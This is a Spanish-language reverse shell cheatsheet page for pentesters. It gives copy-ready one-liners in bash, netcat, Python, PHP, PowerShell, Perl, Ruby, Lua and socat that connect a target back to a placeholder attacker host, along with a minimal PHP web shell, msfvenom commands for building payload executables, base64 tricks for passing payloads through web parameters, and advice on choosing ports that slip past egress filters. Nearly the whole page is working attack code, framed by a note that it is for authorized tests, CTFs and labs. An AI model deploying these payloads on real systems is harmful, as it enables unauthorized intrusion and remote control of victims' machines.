Reverse Shell — Cheatsheet 2026

Todos los payloads de reverse shell que necesitas — bash, python, PHP, PowerShell, nc, socat, perl, ruby — más la configuración del listener y el upgrade a TTY completo. Listo para copiar y pegar en CTF, labs y pentests autorizados.

Última actualización:

¿Principiante? Lee nuestra guía completa para empezar y sitúa la obtención de un shell en la metodología.

Navegación rápida

01 Configurar un listener 02 Bash 03 Netcat 04 Python 05 PHP 06 PowerShell 07 Perl / Ruby / Otros 08 Socat (estable) 09 Upgrade TTY 10 msfvenom

# Configurar un listener

Antes de ejecutar cualquier payload, inicia un listener en tu máquina atacante. Los puertos 443 u 80 se camuflan con el tráfico normal y rara vez se filtran en salida.

nc -lvnp 443
Listener netcat clásico — verboso, sin DNS, puerto 443
rlwrap nc -lvnp 443
Listener con readline — flechas, historial y retroceso funcionan
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT 443; run"
Listener multi/handler de Metasploit

# Reverse Shells Bash

Bash está en casi todos los hosts Linux. El método /dev/tcp no necesita ningún binario extra.

bash -i >& /dev/tcp/ATACANTE/443 0>&1
El reverse shell bash clásico vía /dev/tcp
bash -c 'bash -i >& /dev/tcp/ATACANTE/443 0>&1'
Envuelto en bash -c para contextos de inyección de comandos
0<&196;exec 196<>/dev/tcp/ATACANTE/443; sh <&196 >&196 2>&196
Alternativa con un descriptor de archivo personalizado
💡 Consejo: ¿lo envías por un parámetro web? Codifícalo en URL, o pásalo por base64: echo -n 'bash -i >& ...' | base64 y luego echo BASE64 | base64 -d | bash.

# Reverse Shells Netcat

Si netcat está instalado, es la opción más simple. Fíjate en la variante presente — algunas no tienen la opción -e.

nc -e /bin/sh ATACANTE 443
Netcat con -e (traditional / GNU netcat)
nc ATACANTE 443 -e /bin/bash
Igual, variante en el orden de argumentos
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATACANTE 443 >/tmp/f
Netcat SIN -e (OpenBSD netcat) — el truco mkfifo
ncat ATACANTE 443 -e /bin/bash
Ncat (incluido con Nmap)
ncat --ssl ATACANTE 443 -e /bin/bash
Ncat con SSL — reverse shell cifrado

# Reverse Shells Python

Python está presente en la mayoría de sistemas Linux. Usa python3, con python como respaldo.

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATACANTE",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
Reverse shell Python3 — ya genera un PTY
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATACANTE",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Respaldo Python2

# Reverse Shells PHP

Perfecto tras subir un archivo a un servidor web, o vía LFI/RCE.

php -r '$sock=fsockopen("ATACANTE",443);exec("/bin/sh -i <&3 >&3 2>&3");'
Reverse shell PHP en una línea
<?php system($_GET['cmd']); ?>
Web shell mínima — dispara un reverse shell vía ?cmd=
php -r '$s=fsockopen("ATACANTE",443);$p=proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$pipes);'
Variante proc_open — funciona cuando exec está deshabilitado

# Reverse Shells PowerShell (Windows)

PowerShell es la opción principal en Windows. El one-liner funciona en prácticamente todos los hosts Windows modernos.

powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATACANTE',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}"
El reverse shell PowerShell clásico (estilo Nishang) en una línea
powershell -nop -w hidden -e PAYLOAD_BASE64
Payload codificado en base64 (UTF-16LE) para evitar problemas de comillas
💡 Consejo: genera el payload base64 (UTF-16LE) en Linux: echo -n 'IEX...' | iconv -t UTF-16LE | base64 -w0.

# Perl, Ruby & Otros

Respaldos cuando bash/python/nc no están disponibles.

perl -e 'use Socket;$i="ATACANTE";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
Reverse shell Perl
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATACANTE",443);loop{c.puts `#{c.gets.chomp}`}'
Reverse shell Ruby
xterm -display ATACANTE:1
Reverse xterm (necesita un servidor X + xhost + de tu lado)
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATACANTE',443);os.execute('/bin/sh -i <&3 >&3 2>&3');"
Reverse shell Lua

# Socat — Shell totalmente estable

Socat da de inmediato un TTY totalmente interactivo — sin trucos stty manuales. Transfiere el binario socat si hace falta.

socat file:`tty`,raw,echo=0 tcp-listen:443
Lado listener — ejecútalo en tu máquina atacante
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATACANTE:443
Lado objetivo — reverse shell TTY totalmente interactivo
socat OPENSSL-LISTEN:443,cert=cert.pem,verify=0 file:`tty`,raw,echo=0
Listener cifrado (genera cert.pem con openssl primero)

# Upgrade a un TTY completo

Un shell netcat crudo es frágil — Ctrl+C lo mata y vim/ssh/su se rompen. Mejóralo en cuatro pasos.

python3 -c 'import pty;pty.spawn("/bin/bash")'
Paso 1: generar un PTY (prueba script -qc /bin/bash /dev/null sin python)
export TERM=xterm
Paso 2: definir el tipo de terminal (habilita clear, vim, etc.)
Ctrl+Z
Paso 3: enviar el shell a segundo plano
stty raw -echo; fg
Paso 4: arreglar el terminal local y volver al primer plano — TTY completo, Ctrl+C seguro
💡 Consejo: tras el upgrade, ejecuta stty -a en tu terminal para leer rows/cols, luego fíjalos en el shell: stty rows 38 cols 116 para que las apps a pantalla completa se rendericen bien.

# Payloads msfvenom

Genera binarios y scripts de reverse shell independientes cuando necesitas un archivo para soltar.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f exe -o rev.exe
Ejecutable reverse shell Windows x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f elf -o rev.elf
ELF reverse shell Linux x64
msfvenom -p php/reverse_php LHOST=IP LPORT=443 -f raw -o rev.php
Script reverse shell PHP
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=443 -f exe -o met.exe
Meterpreter (recíbelo con multi/handler)

❓ FAQ Reverse Shell

Una sesión de shell donde el objetivo se conecta hacia ti en lugar de que tú te conectes a él. Evita los firewalls entrantes ya que el tráfico saliente suele estar permitido. Inicia un listener (nc -lvnp 443) y ejecuta un payload en el objetivo.

Reverse: el objetivo se conecta hacia ti (evita firewalls entrantes). Bind: el objetivo abre un puerto y tú te conectas a él (ese puerto debe ser alcanzable). Se prefieren los reverse porque el saliente rara vez se bloquea.

nc -lvnp 443 es el clásico. Usa rlwrap nc -lvnp 443 para historial con flechas, o un multi/handler de Metasploit con un payload correspondiente.

Un shell netcat crudo no tiene TTY — Ctrl+C lo mata y vim/ssh/su se congelan. Upgrade: python3 -c 'import pty;pty.spawn("/bin/bash")', luego Ctrl+Z, luego stty raw -echo; fg, luego export TERM=xterm.

Adáptate a lo instalado. Linux: bash y python casi siempre están. Windows: PowerShell. Si netcat tiene -e, es lo más simple. Ten una opción socat para un shell cifrado y estable.

Socat es lo más limpio: socat file:`tty`,raw,echo=0 tcp-listen:443 en tu host y socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATACANTE:443 en el objetivo.

msfvenom -p <payload> LHOST=IP LPORT=443 -f <formato> -o salida. Ej. windows/x64/shell_reverse_tcp ... -f exe. Recíbelo con un nc -lvnp 443 correspondiente o multi/handler.

Son legítimos para pentests autorizados, CTF y tus propios labs. Usarlos contra sistemas que no posees o sin permiso escrito es ilegal. Mantente siempre dentro del alcance.

📚 Recursos relacionados

Informe de pentest asistido por IA

Convierte tu acceso en un informe PDF profesional. La IA rellena CVE, CVSS y severidad.

Probar gratis →

¿Quieres los 12 020+ comandos?

Esta cheatsheet de reverse shell es solo una rama del mapa. Pentest Mindmap organiza 12 020+ comandos en 34 categorías — de recon a post-explotación — con búsqueda instantánea y copia en un clic.

Empezar gratis →